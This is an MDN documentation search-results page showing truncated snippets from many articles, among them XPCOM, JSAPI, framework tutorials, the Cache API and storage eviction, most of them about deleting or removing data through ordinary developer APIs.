<div id="color-palette"></div> <div id="color-info"> <div class="title"> css color </div> </div> </div> <div id="picker" class="block"> <div class="ui-color-picker" data-topic="picker" data-mode="hsl"></div> <div id="picker-samples" sample-id="master"></div> <div id="controls"> <div id="delete"> <div id="trash-can"></div> </div> <div id="void-sample" class="icon"></div> </div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /*...
...t-align: center; line-height: 24px; overflow: hidden; float: left; } #controls .switch:hover { cursor: pointer; } #controls .switch > * { width: 50%; padding: 2px 0; background-color: #eee; float: left; } #controls .switch [data-active='true'] { color: #fff; background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); background-color: #777; } /** * trash can */ #delete { width: 100%; height: 94px; background-color: #ddd; background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); background-repeat: repeat; text-align: center; color: #777; position: relative; float: right; } #delete #trash-can { width: 80%; height: 80%; border: 2px dashed #fff; border-radius: 5px; background: url('https://mdn.mozillademos.org/files/6085/trash-can...
...lor: #777; position: relative; float: right; } #delete #trash-can { width: 80%; height: 80%; border: 2px dashed #fff; border-radius: 5px; background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center; position: absolute; top: 10%; left: 10%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; transition: all 0.2s; } #delete[drag-state='enter'] { background-color: #999; } /** * color theme */ #color-theme { margin: 0 8px 0 0; border: 1px solid #eee; display: inline-block; float: right; } #color-theme .box { width: 80px; height: 92px; float: left; } /** * color info box */ #color-info { width: 360px; float: left; } #color-info .title { width: 100%; padding: 15px; font-size: 18px; text-align: ce...
...And 7 more matches
Editor Embedding Guide - Archive of obsolete content
e to call docommand. this will not really give you any concrete information on the state of the command. cmd_cut cuts current selection. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. cmd_delete deletes current selection. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. cmd_paste pastes into current selection or if there is no selection at the cursor position. getcommandstate "s...
...nformation on the state of the command. cmd_paste pastes into current selection or if there is no selection at the cursor position. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. cmd_cutordelete cuts or deletes current selection. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. cmd_deletecharbackward deletes one character backward relative to the current selection end point. acts li...
...the command. cmd_deletecharbackward deletes one character backward relative to the current selection end point. acts like backspace key. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. cmd_deletecharforward deletes one character forward relative to the current selection end point. acts like delete key. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. ...
...And 6 more matches
Index
t of double values that are assigned as properties to an object using js_defineconstdoubles. 94 jsconvertop jsapi reference, reference, référence(2), spidermonkey jsconvertop callback specifies conversion behavior for objects having this class, implementing the ecmascript [[defaultvalue]] behavior for them. on success it must return a primitive value in *vp. 95 jsdeletepropertyop jsapi reference, reference, spidermonkey jsdeletepropertyop callback is a hook that applications may install to be called at some point during property access. a jsdeletepropertyop may be installed on a jsclass to hook property deletes. 96 jsenumerateop jsapi reference, spidermonkey jsenumerateop is called just before an object is enumerated (via a for...i...
...ete, spidermonkey get or set attributes of the property obj[id]. returns js_false on error or exception, else js_true with current attributes in *attrsp. if prop is non-null, it must come from the *propp out parameter of a prior jsobjectops.defineproperty or jsobjectops.lookupproperty call. 136 jsobjectops.getproperty jsapi reference, obsolete, spidermonkey get, set, or delete obj[id], returning js_false on error or exception, js_true on success. if getting or setting, the new value is returned in *vp on success. 137 jsobjectops.getrequiredslot jsapi reference, obsolete, spidermonkey get and set a required slot, one that should already have been allocated. these operations are infallible, so required slots must be pre-allocated, or implementations ...
... 236 js_definepropertywithtinyid jsapi reference, obsolete, spidermonkey js_definepropertywithtinyid defines an object property with a tiny id. js_defineucpropertywithtinyid is the unicode version of the function. except for the tinyid parameter, these functions behave exactly as js_defineproperty and js_defineucproperty. see those functions for more details. 237 js_deleteelement jsapi reference, spidermonkey js_deleteelement removes a specified element or numeric property, index, from an object, obj. if an object references an element belonging to a prototype, the element reference is removed from the object, but the prototype's element is not deleted. if deletion is successful, js_deleteelement returns true. otherwise it returns false. 238 js...
...And 6 more matches
JSAPI reference
"define" is a lower-level version of "s...
..."define" is a lower-level version of "set" that provides a...
..."define" is a lower-level version of "set" that provides access to extra settings and does not call setters. sim...
...And 6 more matches
Using XPCOM Components
even if the underlying implementation changes. the interfaces are public, in other words, and the implementations are private[private-xpcom-interfaces]. when a user selects one of the cookies displayed in the list and then clicks the remove button, the remove method in the nsicookiemanager interface is called. the function is carried out by the cookiemanager component, and the selected cookie is deleted from disk and removed from the displayed list. the snippet in getting the cookiemanager component in javascript shows how the remove() method from the xpcom cookiemanager component can be called from javascript: getting the cookiemanager component in javascript // xpconnect to cookiemanager // get the cookie manager component in javascript var cmgr = components.classes["@mozilla.org/cookieman...
...d from the xpcom cookiemanager component can be called from javascript: getting the cookiemanager component in javascript // xpconnect to cookiemanager // get the cookie manager component in javascript var cmgr = components.classes["@mozilla.org/cookiemanager;1"] .getservice(); cmgr = cmgr.queryinterface(components.interfaces.nsicookiemanager); // called as part of a largerdeleteallcookies() function function finalizecookiedeletions() { for (var c=0; c<deletedcookies.length; c++) { cmgr.remove(deletedcookies[c].host, deletedcookies[c].name, deletedcookies[c].path); } deletedcookies.length = 0; } connecting to components from the interface the mozilla user interface uses javascript that has been given access to xpcom components...
...i added |pr_false| as a fourth parameter because the interfac...
...And 6 more matches
Cookies - Firefox Developer Tools
use the resulting context menu to show/hide the columns. you can edit cookies by double-clicking inside cells in the table widget and editing the values they contain, and add new cookies by clicking the "plus" (+) button and then editing the resulting new row to the value you want. context menu the context menu for each cookie includes the following commands: add item - add a new cookie. ...
...to show/hide the columns. you can edit cookies by double-clicking inside cells in the table widget and editing the values they contain, and add new cookies by clicking the "plus" (+) button and then editing the resulting new row to the value you want. context menu the context menu for each cookie includes the following commands: add item - add a new cookie. ...
...ou can edit cookies by double-clicking inside cells in the table widget and editing the values they contain, and add new cookies by clicking the "plus" (+) button and then editing the resulting new row to the value you want. context menu the context menu for each cookie includes the following commands: add item - add a new cookie. ...
...And 6 more matches
Modularization techniques - Archive of obsolete content
} return mrefcnt; } /* * nssamplefactory implementation */ nssamplefactory::nssamplefactory() { mrefcnt = 0; } nssamplefactory::~nssamplefactory() { assert(mrefcnt == 0); } ns_imethodimp nssamplefactory::queryinterface(const nsiid &aiid, void **aresult) { if (aresult == null) { ...
... } return mrefcnt; } ns_imethodimp nssamplefactory::createinstance(nsisupports *aouter, const nsiid &aiid, void **aresult) { if (aresult == null) { return ns_error_null_pointer; } *aresult = null; nsisupports inst = new nssample(); if (...
...} nsresult getsamplefactory(nsifactory **aresult) { if (aresult == null) { return ns_error_null_pointer; } *aresult = null; nsisupports inst = new nssamplefactory(); if (inst == null) { return ns_error_out_of_memory; } nsresult res = inst->queryinterface(...
...And 5 more matches
Beginning our React todo list - Learn web development
this article will walk you through putting the basic app component structure and styling in place, ready for individual component definition and interactivity, which we'll add later. note: if you need to check your code against our version, you can find a finished version of the sample react app code in our todo-react repository. ...
...in place. our app's user stories in software development, a user story is an actionable goal from the perspective of the user. defining user stories before we begin our work will help us focus our work. our app should fulfill the following stories: as a user, i can read a list of tasks. add a task using the mouse or keyboard. mark any task as completed, using the mouse or keyboard. ...
... delete any task, using the mouse or keyboard. edit any task, using the mouse or keyboard. view a specific subset of tasks: all tasks, only the active task, or only the completed tasks. we'll tackle these stories one-by-one. pre-project housekeeping create-react-app has made a few files we won't be using at all for our project. we're not going to write per-component stylesheets, so first delete the app.css import from the top of app.js. we are also not going to be using the logo.svg file, so remove that import too. then, copy and paste the following commands into your terminal to delete some unneeded files. ...
...And 5 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
previous overview: client-side javascript frameworks next now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app. in this article we'll be using variables and props to make our app dynamic, allowing us to add and delete todos, mark them as complete, and filter them by status. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn and put into practice some basic svelte concepts, like creating components, passing data using props, render javascript expressions into our m...
... we've turned our static markup into a dynamic template ready to display t...
...s: <input type="checkbox" id="todo-{todo.id}" on:click={() => todo.completed = !todo.completed} checked={todo.completed} /> next we'll add a function to remove a todo from our todos array. at the bottom of the todos.svelte <script> section, add the removetodo() function like so: function removetodo(todo) { todos = todos.filter(t => t.id !== todo.id) } we'll call it via the delete button. update it with a click event, like so: <button type="button" class="btn btn__danger" on:click={() => removetodo(todo)} > delete <span class="visually-hidden">{todo.name}</span> </button> a very common mistake with handlers in svelte is to pass the result of executing a function as a handler, instead of passing the function. for example, if you specify on:click={removetodo(todo)}...
...And 5 more matches
Command line crash course - Learn web development
o — you’ll have to get some experience with the terminal eventually. ...
...ut of the box, here are just a few of the things the command line can do, along with names of relevant tools in each case: navigate your computer’s file system along with base level tasks such as create, copy, rename and delete: move around your directory structure: cd create directories: mkdir create files (and modify their metadata): touch copy files: cp move files: mv delete files or directories: rm download files found at specific urls: curl search for fragments of text inside larger bodies of text: grep view a file's contents page by page: less, cat manipulate and transform streams of text (for example changing all the instances of <div>s in an html file to <article>): awk, tr, sed note: there are a number of good tutorials on the web that go much deepe...
...tory to "do something". all the operating systems (assuming a default setup) will launch their terminal program in your "home" directory, and from there you’re likely to want to move to a different place. the cd command lets you change directory. technically, cd isn’t a program but a built-in. this means your operating system provides it out of the box, and also that you can’t accidentally delete it — thank goodness! you don’t need to worry too much about whether a command is a built-in or not, but bear in mind that built-ins appear on all unix-based systems. to change directory, you type cd into your terminal, followed by the directory you want to move to. assuming the directory is inside your home directory, you can use cd desktop (see the screenshots below). try typing this in...
...And 5 more matches
Initialization and Destruction - Plugins
this chapter describes the methods that provide the basic processes of initialization, instance creation and destruction, and shutdown. initialization: the browser calls the plug-in api function np_initialize when the plug-in code is first loaded. instance creation: the browser calls the plug-in api function npp_new when the instance is created. instance destruction: the plug-in instance is deleted when the user leaves the instance page or closes the instance window; the browser calls the function npp_destroy to tell the plug-in that the instance is being deleted. shutdown: when the last instance of a plug-in is deleted, the plug-in code is unloaded from memory and the browser calls the function np_shutdown. plug-ins consume no resources, other than disk space, if not referenced. this c...
... this chapter ends with initialize and shutdown example, which includes the np_initialize and np_shutdown methods. initialization the browser calls np_initialize when a plug-in is loaded and before the first instance is created. use this function to allocate the memory and resources shared by all instances of your plug-in. nperror np_initialize(void) { }; after the last plug-in instance is deleted, the browser calls np_shutdown, which releases the memory or resources allocated by np_initialize. for an example that shows the use of both the np_initialize and np_shutdown methods, see initialize and shutdown example. during initialization, when the browser encounters data of a mime type registered for a plug-in (either embedded in an html page or in a separate file), it loads the plug-in co...
...oyed, pass the data to the next instance of the plug-in at the same url. the data is saved in the history list. as long as the plug-in still appears in this list, that saved data is associated with the page; any new instances receive this data. instance destruction plug-in instances are created with npp_new and destroyed with npp_destroy. ...
...And 5 more matches
Expressions and operators - JavaScript
lowing code uses the comma operator to update two variables at once. the code prints the values of the diagonal elements in the array: var x = [0,1,2,3,4,5,6,7,8,9] var a = [x, x, x, x, x]; for (var i = 0, j = 9; i <= j; i++, j--) // ^ console.log('a[' + i + '][' + j + ']= ' + a[i][j]); unary operators a unary operation is an operation with only one operand. ...
...uses the comma operator to update two variables at once. the code prints the values of the diagonal elements in the array: var x = [0,1,2,3,4,5,6,7,8,9] var a = [x, x, x, x, x]; for (var i = 0, j = 9; i <= j; i++, j--) // ^ console.log('a[' + i + '][' + j + ']= ' + a[i][j]); unary operators a unary operation is an operation with only one operand. ...
...perator to update two variables at once. the code prints the values of the diagonal elements in the array: var x = [0,1,2,3,4,5,6,7,8,9] var a = [x, x, x, x, x]; for (var i = 0, j = 9; i <= j; i++, j--) // ^ console.log('a[' + i + '][' + j + ']= ' + a[i][j]); unary operators a unary operation is an operation with only one operand. delete the delete operator deletes an object's property. ...
...And 5 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
an overlay.js file. follow the code in listing 15. ...
...refer to the section “traversing folders” in chapter 4. listing 21: content for clear method clear: function(event) { event.preventbubble(); var fileenum = this._dir.directoryentries; while (fileenum.hasmoreelements()) { var file = fileenum.getnext().queryinterface(components.interfaces.nsifile); file.remove(false); ...
...onverter.convertfromunicode(adata); converteddata += converter.finish(); // write and close stream stream.write(converteddata, converteddata.length); if (stream instanceof components.interfaces.nsisafeoutputstream) { stream.finish(); } else { stream.close(); } }, createmenu method this event handler is called when the session store submenu opens. first, it deletes the menuitem elements that were dynamically generated the last time the submenu opened, and which are still left over. next, it dynamically generates menuitem elements based on the names of all the files in the session-storage directory, and inserts them into the menu. listing 24: content for createmenu method createmenu: function(event) { var menupopup = event.target; for (var i = ...
...And 4 more matches
Tree View Details - Archive of obsolete content
determining whether a later sibling exists. opening or closing a row the final function of note is toggleopenstate, which is the most complex. it needs to modify the visibledata array when a row is opened or closed. ...
...hich is the most complex. it needs to modify the visibledata array when a row is opened or closed. ...
...e visibledata array when a row is opened or closed. ...
...And 4 more matches
Accessibility in React - Learn web development
ader users. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to learn about implementing keyboard accessibility in react. including keyboard users at this point, we've accomplished all of the features we set out to implement. a user can add a new task, check and uncheck tasks, delete tasks, or edit task names. and they can filter their task list by all, active, or completed tasks. or, at least: they can do all of these things with a mouse. unfortunately, these features are not very accessible to keyboard-only users. let's explore this now. exploring the keyboard usability problem start by clicking on the input at the top of our app, as if you're going to add a new task. yo...
...your browser. you should see both messages in your console, with each one repeating three times. note how "main render" logged first, and "side effect" logged second, even though the "side effect" log appears first in the code. main render (3) todo.js:100 side effect (3) todo.js:98 that's it for our experimentation for now. delete console.log("main render") now, and lets move on to implementing our focus management. focusing on our editing field now that we know our useeffect() hook works, we can manage focus with it. as a reminder, we want to focus on the editing field when we switch to the editing template. update your existing useeffect() hook so that it reads like this: useeffect(() => { if (isediting) { edit...
... } }, [wasediting, isediting]); note that the logic of useeffect() now depends on wasediting, so we provide it in the array of dependencies. again try using the "edit" and "cancel" buttons to toggle between the templates of your <todo /> component; you'll see the browser focus indicator move appropriately, without the problem we discussed at the start of this section. focusing when the user deletes a task there's one last keyboard experience gap: when a user deletes a task from the list, the focus vanishes. we're going to follow a pattern similar to our previous changes: we'll make a new ref, and utilize our useprevious() hook, so that we can focus on the list heading whenever a user deletes a task. why the list heading? sometimes, the place we want to send our focus to is obvious: when...
...And 4 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
e of the terminal/command line. objective: to learn about conditional rendering in react, and implementing list filtering and an editing ui in our app. editing the name of a task we don’t have a user interface for editing the name of a task yet. we'll get to that in a moment. to start with, we can at least implement an edittask() function in app.js. it’ll be similar to deletetask() because it'll take an id to find its target object, but it'll also take a newname property containing the name to update the task to. we'll use array.prototype.map() instead of array.prototype.filter() because we want to return a new array with some changes, instead of deleting something from the array. add the edittask() function inside your app component, in the same place as the other f...
...we’re going to do some refactoring. a ui for editing in order to allow users to edit a task, we have to provide a user interface fo...
...we’re going to do some refactoring. ...
...And 4 more matches
IPDL Best Practices
there a range of mistakes that authors of new sub-protocols frequently make. this document is intended to help correct these before the formal review process is initiated. lifetime management ensure ipdl deletes your protocol all protocols must be deleted. period. are you sending the __delete__ message to trigger protocol deletion? this one is easy to miss, as the corresponding recv__delete__ function has a stub implementation automatically generated in the base class. simply calling delete on a pointer to an actor is not enough. using ipdl generated structs as data structures outside of ipc serialization/deserialization ipdl generated structures are meant to facilitate serialization/deserialization and message passing. do not use them as data structures outside of ipdl, or wou will...
...acedescriptors or their content directly. reference counting protocol actors is tricky here is the easiest way to get it right the first time (lessons learned from the http channel and geolocation protocols): allocpprotocol calls addref deallocpprotocol calls release this ensures that the actor will not disappear from under ipdl, and that you won't get bizarre crashes at other times if ipdl deletes the protocol tree. the main concern you have now is that you absolutely, certainly, positively call send__delete__ in all possible circumstances or your protocol can and will leak. calling ipdl functions willy-nilly let's say you have an object that implements an ipdl interface, but it also outlives it (case in point: reference-counted). is there any chance that an ipdl function could be calle...
... generated actordestroy function to control when ipdl functions can be called; see phttpchannelparent/child for an example. ...
...And 4 more matches
NSS Tools certutil
starting from nss 3.35, the database format was upgraded to support sqlite as described in this document. ...
... starting from nss 3.35, the database format was upgraded to support sqlite as described in this document. ...
...e. -g generate a new public and private key pair within a key database. the key database should already exist; if one is not present, this option will initialize one by default. some smart cards (for example, the litronic card) can store only one key pair. if you create a new key pair for such a card, the previous pair is overwritten. ...
...And 4 more matches
Places Developer Guide
cape bookmarks html format. note that this service is only currently available for firefox, not other toolkit-based applications. importing: importhtmlfromfile (nsilocalfile afile, boolean aisinitialimport) - this imports all the bookmarks in the specified file into the current bookmarks collection. if aisinitialimport is true, all pre-existing bookmarks in the toolbar and menu folders will be deleted. note: the method importhtmlfromfiletofolder() method was removed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11). exporting: exporthtmltofile (nsilocalfile afile) - this exports all bookmarks in the toolbar, menu and unfiled bookmarks folders into the specified file. backup/restore the new bookmarks system uses the json format for storing backups of users' bookmarks. th...
... uri(spec) { return cc["@mozilla.org/network/io-service;1"]. getservice(ci.nsiioservice). ...
...owserhistory = histsvc.queryinterface(ci.nsibrowserhistory); var oururi = uri("http://www.mozilla.com"); // remove all visits for a single url from history browserhistory.removepage(oururi); // remove all visits for multiple urls from history var uristodelete = [oururi]; // will call nsinavhistoryobserver.onbeginupdatebatch/onendupdatebatch var donotify = false; browserhistory.removepages(uristodelete, uristodelete.length, donotify); // remove all visits within a given time period var enddate = date.now() * 1000; // now, in microseconds var startdate = enddate - (7 * 86400 * 1000 * 1000); // one week ago, in microseconds browserhistory.removepagesbytimeframe(startdate, enddate); // remove all pages for a given host var entiredomain = true; // will delete from all hosts from the given domain ...
...And 4 more matches
Creating the Component Code
#include <stdio.h> #define mozilla_strict_api #include "nsimodule.h" #include "nsifactory.h" #include "nsicomponentmanager.h" #include "nsicomponen...
...**aresult) { if (aresult == null) { return ns_error_null_pointer; } *aresult = null; if (aiid.equals(kisupportsiid)) { *aresult = (void *) this; } if (*aresult == null) { return ns_error_no_interface; } addref(); return ns_ok; } ns_imethodimp_(nsrefcnt) sample::addref() { return ++mrefcnt; } ns_imethodimp_(nsrefcnt) sample::release() { if (--mrefcnt == 0) { delete this; return 0; } return mrefcnt; } // factory implementation class for component class samplefactory: public nsifactory{ private: nsrefcnt mrefcnt; public: samplefactory(); virtual ~samplefactory(); ns_imethod queryinterface(const nsiid &aiid, void **aresult); ns_imethod_(nsrefcnt) addref(void); ns_imethod_(nsrefcnt) release(void); ns_imethod createin...
...null; if (aiid.equals(kisupportsiid)) { *aresult = (void *) this; } else if (aiid.equals(kifactoryiid)) { *aresult = (void *) this; } if (*aresult == null) { return ns_error_no_interface; } addref(); return ns_ok; } ns_imethodimp_(nsrefcnt) samplefactory::addref() { return ++mrefcnt; } ns_imethodimp_(nsrefcnt) samplefactory::release() { if (--mrefcnt == 0) { delete this; return 0; } return mrefcnt; } ns_imethodimp samplefactory::createinstance(nsisupports *aouter, const nsiid & iid, void * *result) { if (!result) return ns_error_invalid_arg; sample* sample = new sample(); if (!sample) return ns_error_out_of_memory; nsresult rv = sample->queryinterface(iid, result); if...
...And 4 more matches
nsICategoryManager
2.1) implemented by: @mozilla.org/categorymanager;1. ...
...;1. to use this service, use: var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); method overview string addcategoryentry(in string acategory, in string aentry, in string avalue, in boolean apersist, in boolean areplace); void deletecategory(in string acategory); void deletecategoryentry(in string acategory, in string aentry, in boolean apersist); nsisimpleenumerator enumeratecategories(); nsisimpleenumerator enumeratecategory(in string acategory); string getcategoryentry(in string acategory, in string aentry); methods addcategoryentry() this method sets the value for the given entry on the given category. the category and/or entry...
... across application sessions. you must pass false for this parameter. areplace a flag indicating whether or not to overwrite the value of an existing category entry. return value the previous value for the given category entry (if any). exceptions thrown ns_error_invalid_arg this error is returned if areplace is false and the category entry already has a value, or if apersist is true. ...
...And 4 more matches
Address Book examples
elements()) { let ab = alladdressbooks.getnext(); if (ab instanceof components.interfaces.nsiabdirectory && !ab.isremote) { let searchresult = abmanager.getdirectory(ab.uri + "?" + searchquery).childcards; // ... use searchresult as required. } } note: this method doesn't work with remote address books (e.g. ldap). hence the additional !ab.isremote check how do i add/edit/delete contacts? note: not all address books can be written to. use the nsiabcollection.readonly attribute to determine the read-only status of an address book adding contacts create a card and set its properties using the nsiabcard interface (see the interface documentation for property names supported by the application): let card = components.classes["@mozilla.org/addressbook/cardproperty;1"] ...
...d a card from an nsiabdirectory (see above), you can edit it in a two step process, firstly, change the properties that you to edit: card.setproperty("firstname", "jane"); card.setproperty("lastname", "doe"); secondly, call modifycard to save the card in the database. ...
...e), you can edit it in a two step process, firstly, change the properties that you to edit: card.setproperty("firstname", "jane"); card.setproperty("lastname", "doe"); secondly, call modifycard to save the card in the database. ...
...And 4 more matches
Using the Multiple Accounts API
the account settings. the only thing that determines which smtp server a user should use is their physical connection to the internet. for instance, if a user is connected to the internet through myisp, inc. then he or she must use myisp's smtp server, no matter what identity they will be sending mail with. the smtp server list is accessable through the smtp service. you can add (and eventually delete) servers and have a default server. smtp servers are stored in your preferences in a manner resembling the accounts: user_pref("mail.smtpservers", "server1,server2"); user_pref("mail.smtpserver.server1.hostname", "smtp.myisp.com"); user_pref("mail.smtpserver.server2.hostname", "smtp.mywork.com"); you can add new smtp servers using the smtp service. var server = smtpservice.createsmtpserv...
....server.server.override_namespaces - boolean, should we override namespaces on this server? ...
...namespaces - boolean, should we override namespaces on this server? ...
...And 4 more matches
Cache - Web APIs
Web › API › Cache
to windowed scopes as well as workers. you don't have to use it in conjunction with service workers, even though it is defined in the service worker spec. an origin can have multiple, named cache objects. you are responsible for implementing how your script (e.g. in a serviceworker) handles cache updates. items in a cache do not get updated unless explicitly requested; they don’t expire unless deleted. use cachestorage.open() to open a specific named cache object and then call any of the cache methods to maintain the cache. you are also responsible for periodically purging cache entries. each browser has a hard limit on the amount of cache storage that a given origin can use. cache quota usage estimates are available via the storageestimate api. the browser does its best to manage disk space...
...torage.open() to open a specific named cache object and then call any of the cache methods to maintain the cache. you are also responsible for periodically purging cache entries. each browser has a hard limit on the amount of cache storage that a given origin can use. cache quota usage estimates are available via the storageestimate api. the browser does its best to manage disk space, but it may delete the cache storage for an origin. the browser will generally delete all of the data for an origin or none of the data for an origin. make sure to version caches by name and use the caches only from the version of the script that they can safely operate on. see deleting old caches for more information. note: the key matching algorithm depends on the vary header in the value. so matching a new key...
...es it and adds the resulting response object to the given cache. this is functionally equivalent to calling fetch(), then using put() to add the results to the cache. cache.addall(requests) takes an array of urls, retrieves them, and adds the resulting response objects to the given cache. cache.put(request, response) takes both a request and its response and adds it to the given cache. cache.delete(request, options) finds the cache entry whose key is the request, returning a promise that resolves to true if a matching cache entry is found and deleted. if no cache entry is found, the promise resolves to false. cache.keys(request, options) returns a promise that resolves to an array of cache keys. examples this code snippet is from the service worker selective caching sample. (see selec...
...And 4 more matches
Browser storage limits and eviction criteria - Web APIs
this article describes how browsers determine what local content to purge and when in order to free up needed local storage space. note: the information below should be fairly accurate for most modern browsers, but browser specifics are called out where known. ...
...data when required. we term them "quota clients" in this context: indexeddb asm.js caching cache api cookies note: in firefox, web storage will soon start to use the same storage management tools too, as described in this document. note: in private browsing mode, most data storage is not supported. local storage data and cookies are still stored, but they are ephemeral — the data is deleted when you close the last private browsing window. the "last access time" of origins is updated when any of these are activated/deactivated — origin eviction will delete data for all these quota clients. in chrome/opera, the quota management api handles quota management for appcache, indexeddb, websql, and file system api. different types of data storage even in the same browser, using the ...
...e even in the same browser, using the same storage method, there are different classes of data storage to understand. this section discusses the different ones you might find in different browsers. storage comes in two types: persistent: this is data that is intended to be kept around for a long time. this will only be evicted if the user chooses to (for example, in firefox you can choose to delete all stored data or only stored data from selected origins by going to preferences and using the options under privacy & security > cookies & site data). temporary: this is data that doesn't need to persist for a very long time. this will be evicted under a least recently used (lru policy) when storage limits are reached. in firefox, when persistent storage is used, the user is given a ui popup...
...And 4 more matches
Index - Archive of obsolete content
larly well suited to xbl. there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes. 1995 calicalendarviewcontroller interfaces, interfaces:scriptable, xpcom, xpcom api reference a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete items. implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. 1996 califiletype interfaces the califiletype interface provides information about a specific file type. 1997 mozilla.dev.platform faq faq for questions asked on mozil...
...dard and the firefox implementation. do not use it! 2005 array.observe() array, javascript, method, obsolete the array.observe() method was used for asynchronously observing changes to arrays, similar to object.observe() for objects. it provided a stream of changes in order of occurrence. it's equivalent to object.observe() invoked with the accept type list ["add", "update", "delete", "splice"]. however, this api has been deprecated and removed from browsers. you can use the more general proxy object instead. 2006 array.unobserve() array, javascript, method, obsolete the array.unobserve() method was used to remove observers set by array.observe(), but has been deprecated and removed from browsers. you can use the more general proxy object instead. ...
... the levelchange event is fired when the level attribute of the battery api has changed. 3266 noupdate the noupdate event is fired after checking for an application cache update, if the manifest hasn't changed. 3267 obsolete the obsolete event is fired when the manifest was found to have become a 404 or 410 page, so the application cache is being deleted. 3268 progress the progress event is fired when the user agent is downloading resources listed by the manifest. 3269 sort obsolete, tables, events, sort the sort event was part of the table sorting algorithm in the table sorting model, a feature of the html 5 working draft added in december 2012 and removed in january 2016. 3270 updateready...
...And 3 more matches
ContextMenus - Archive of obsolete content
a context menu may be attached to an element using the context attribute, which may be applied to any xul element. the value of the context attribute should be the id of a context menu within the same document. in the example, a context menu is attached to a grid. <window id="main-window"> <popupset> <menupopup id="ins-del-menu"> <menuitem label="insert"/> <menuitem label="delete"/> </menupopup> </popupset> </window> <grid context="ins-del-menu"> <columns> <column/> <column flex="1"/> </columns> <rows id="rows"> <row align="center"> <label value="name:"/> <textbox/> </row> </rows> </grid> the same context menu can be attached to multiple elements. just set the context attribute on those elements you want the context menu to app...
...ing on an image might display items pertaining to images, whereas clicking on a link would display items pertaining to links. in many cases, it may be easier to use a single context menu containing every possible item, and show and hide the necessary items when needed. to hide an item, set its hidden property to true. to show an item, set its hidden property to false. ...
... display items pertaining to images, whereas clicking on a link would display items pertaining to links. in many cases, it may be easier to use a single context menu containing every possible item, and show and hide the necessary items when needed. to hide an item, set its hidden property to true. to show an item, set its hidden property to false. ...
...And 3 more matches
Commands - Archive of obsolete content
nd) this method should return true if the command is enabled, or false if it is disabled. corresponding buttons will be disabled automatically. docommand (command) execute the command. this is where you would put the code to handle the command. onevent (event) this method handles an event. ...
... the command is enabled, or false if it is disabled. corresponding buttons will be disabled automatically. docommand (command) execute the command. this is where you would put the code to handle the command. onevent (event) this method handles an event. example: controller implementation let's assume that we want to implement a listbox that handles the delete command. when the user selects delete from the menu, the listbox deletes the selected row. in this case, you just need to attach a controller to a listbox which will perform the action in its docommand method. try opening the example below (source view) in a browser window and selecting items from the list. you'll notice that the delete command on the browser's edit menu is enabled and that selecting it will delete a row. (see discu...
...uld ensure that the selection and focus is adjusted appropriately after a deletion. ...
...And 3 more matches
Introduction to client-side frameworks - Learn web development
of frameworks, but not really why developers felt the need to make them. exploring the why requires first examining the challenges of software development. consider a common kind of application: a to-do list creator, which we'll look at implementing using a variety of frameworks in future chapters. this application should allow users to do things like render a list of tasks, add a new task, and delete a task; and it must do this while reliably tracking and updating the data underlying the application. in software development, this underlying data is known as state. each of our goals is theoretically simple in isolation. we can iterate over the data to render it; we can add to an object to make a new task; we can use an identifier to find, edit, or delete a task. when we remember that the appl...
...l <li> element inside of an unordered list element (a <ul>). ...
...tcontent = document.createtextnode(name); span.appendchild(textcontent) item.id = id; item.appendchild(span); item.appendchild(builddeletebuttonel(id)); return item; } here, we use the document.createelement() method to make our <li>, and several more lines of code to create the properties and children it needs. the tenth line of this snippet references another build function: builddeletebuttonel(). ...
...And 3 more matches
TPS History Lists
title: optional. the page title for this uri. visits: required. an array of objects representing visits to the page, each object has the following properties: type: required. an integer value from one of the transition types listed at https://developer.mozilla.org/en/nsinavhistoryservice#constants. date: required. ...
... { uri: "http://www.google.com/", title: "google", visits: [ { type: 1, date: 0 }, { type: 2, date: -1 } ] }, { uri: "http://www.cnn.com/", title: "cnn", visits: [ { type: 1, date: -1 }, { type: 2, date: -36 } ] }, ]; the history list used for deletions looks different. it's an array of objects, each of which represents a type of history to delete. ...
...: "google", visits: [ { type: 1, date: 0 }, { type: 2, date: -1 } ] }, { uri: "http://www.cnn.com/", title: "cnn", visits: [ { type: 1, date: -1 }, { type: 2, date: -36 } ] }, ]; the history list used for deletions looks different. it's an array of objects, each of which represents a type of history to delete. ...
...And 3 more matches
Starting WebLock
